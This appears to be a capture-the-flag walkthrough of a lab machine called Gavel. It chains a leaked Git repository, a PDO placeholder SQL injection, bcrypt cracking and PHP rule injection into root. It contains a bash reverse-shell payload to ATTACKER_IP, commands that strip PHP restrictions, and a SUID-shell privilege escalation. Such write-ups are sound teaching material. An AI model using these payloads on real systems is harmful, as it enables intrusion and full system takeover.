Difficulty: Medium
Operating System: Linux
Executive Summary
Gavel is a Linux machine that combines source code disclosure, application security flaws, and custom software analysis to achieve full system compromise.
The attack begins with an exposed Git repository, leading to source code disclosure and identification of a PDO placeholder confusion vulnerability. After obtaining administrative access to the web application, arbitrary PHP code execution is achieved through insecure runtime rule evaluation. Finally, a custom root-owned service is reversed and abused to gain root privileges.
Attack Path
Exposed Git Repository
→ Source Code Disclosure
→ PDO Placeholder Confusion SQLi
→ Credential Extraction
→ Admin Access
→ PHP Code Execution
→ Shell as www-data
→ User Access (auctioneer)
→ Custom Service Analysis
→ PHP Sandbox Abuse
→ Root
Reconnaissance
Port Scan
The initial scan revealed only two services:
rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A -sS -Pn
Results:
22/tcp OpenSSH 8.9p1
80/tcp Apache 2.4.52
The web application immediately became the primary attack surface.
Web Enumeration
Directory enumeration identified several interesting endpoints:
dirsearch -u http://gavel.htb -x 404
Notable findings:
/.git/
/admin.php
/login.php
/register.php
The most important discovery was the exposed Git repository.
Initial Access
Git Repository Disclosure
The application exposed its entire Git repository through:
http://gavel.htb/.git/
The repository was recovered using:
git-dumper http://gavel.htb ./loot
Reviewing the source code provided complete visibility into:
- Authentication logic
- Database queries
- Administrative functionality
- Internal business rules
This became the turning point of the machine.
SQL Injection
Source Code Review
While reviewing the codebase, the following query stood out in inventory.php:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("
SELECT $col
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
");
$stmt->execute([$userId]);
At first glance, the application appeared safe because it used prepared statements.
However, the combination of:
- User-controlled column names
- MySQL PDO emulated prepares
- Placeholder confusion
introduced a SQL injection vulnerability.
Database Enumeration
After understanding the vulnerability, SQL injection was used to enumerate:
- Tables
- Columns
- User credentials
Eventually, the following account was recovered:
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
The hash was identified as bcrypt.
Password Cracking
The hash was cracked using Hashcat:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Recovered credentials:
auctioneer:midnight1
Remote Code Execution
Administrative Access
Using the recovered credentials, access to the administrative interface became possible.
The leaked source code revealed functionality allowing administrators to modify auction rules dynamically.
Dangerous Runtime Evaluation
The application stored auction rules in the database and later evaluated them through:
runkit_function_add(
'ruleCheck',
'$current_bid, $previous_bid, $bidder',
$rule
);
The critical issue was that $rule originated from the database and was entirely attacker-controlled.
As a result, arbitrary PHP code could be injected directly into the function body.
Obtaining RCE
A malicious rule was inserted into an active auction:
system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/60001 0>&1"');
return true;
A listener was started:
nc -lvnp 60001
Submitting a bid triggered the vulnerable code path and produced a reverse shell.
www-data@gavel
User Access
Credential Reuse
Reviewing local users revealed:
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
The previously recovered password was reused successfully:
su auctioneer
User access was obtained and the user flag could be recovered.
Stable Shell
SSH access was disabled for the account.
A TTY was spawned for stability:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
Enumeration
System enumeration revealed membership in an additional group:
id
Output:
groups=1002(auctioneer),1001(gavel-seller)
Further investigation identified a custom binary:
/opt/gavel/gaveld
/usr/local/bin/gavel-util
The presence of custom software immediately suggested a manual review.
Understanding the Architecture
The application consisted of:
Client
gavel-util
Server
gaveld
Communication occurred through a Unix socket:
/var/run/gaveld.sock
The client submitted YAML files which were processed by the privileged daemon.
Reversing gaveld
Static analysis revealed that YAML rule content was embedded directly into dynamically generated PHP code.
The daemon effectively executed:
function __sandbox_eval() {
$previous_bid = 150;
$current_bid = 200;
$bidder = 'Shadow21A';
// attacker controlled rule
}
$res = __sandbox_eval();
The code executed as root.
Although a PHP configuration attempted to restrict dangerous functionality, the implementation remained vulnerable.
PHP Configuration Abuse
The daemon used:
/opt/gavel/.config/php/php.ini
The initial idea was to bypass restrictions through configuration overrides.
Although alternative configuration loading proved unsuccessful, the daemon still exposed a more direct path.
Writable Root Configuration
Because the attacker-controlled rule executed as root, it became possible to overwrite the daemon’s PHP configuration directly.
A malicious YAML rule was created:
file_put_contents(
'/opt/gavel/.config/php/php.ini',
"open_basedir=/\n" .
"disable_functions=\n"
);
return false;
Submitted through:
gavel-util submit /tmp/hackini.yaml
This removed the security restrictions for future executions.
Root Shell
A second malicious rule was used to create a SUID root shell:
system('install -o root -m 4755 /bin/bash /home/auctioneer/bsh');
return false;
Submitted with:
gavel-util submit /tmp/root.yaml
Verification:
ls -la /home/auctioneer/bsh
Output:
-rwsr-xr-x root root
Launching the binary:
/home/auctioneer/bsh -p
Result:
root@gavel
Root access was obtained.
Lessons Learned
Exposed Git Repositories
A leaked repository frequently provides:
- Source code
- Internal documentation
- Vulnerability discovery opportunities
Git exposure should always be treated as a critical finding.
Prepared Statements Are Not Magic
Using prepared statements incorrectly can still introduce SQL injection vulnerabilities.
Applications that mix:
- User-controlled identifiers
- Dynamic query construction
- Emulated prepares
require additional scrutiny.
Runtime Code Evaluation
Dynamic execution features such as:
runkit_function_add()
can become catastrophic when supplied with attacker-controlled data.
Custom Software
When standard privilege escalation paths fail, custom applications often become the most valuable attack surface.
Reverse engineering frequently reveals assumptions and trust boundaries that developers overlooked.
Conclusion
Gavel is an excellent machine that rewards source code review and software analysis.
Rather than relying on a single vulnerability, the compromise requires chaining multiple weaknesses together:
- Git repository disclosure
- PDO placeholder confusion SQL injection
- Administrative abuse
- Arbitrary PHP execution
- Custom daemon analysis
- Root-owned PHP sandbox abuse
The machine is a strong example of how modern assessments increasingly depend on understanding application logic rather than relying exclusively on known CVEs.